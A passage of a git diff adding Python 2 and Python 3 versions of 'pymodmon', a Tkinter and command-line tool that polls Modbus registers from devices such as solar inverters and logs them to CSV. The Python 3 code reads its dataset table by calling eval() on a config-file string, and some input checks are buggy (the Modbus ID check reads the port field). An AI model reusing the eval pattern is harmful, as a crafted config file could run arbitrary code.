'+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + 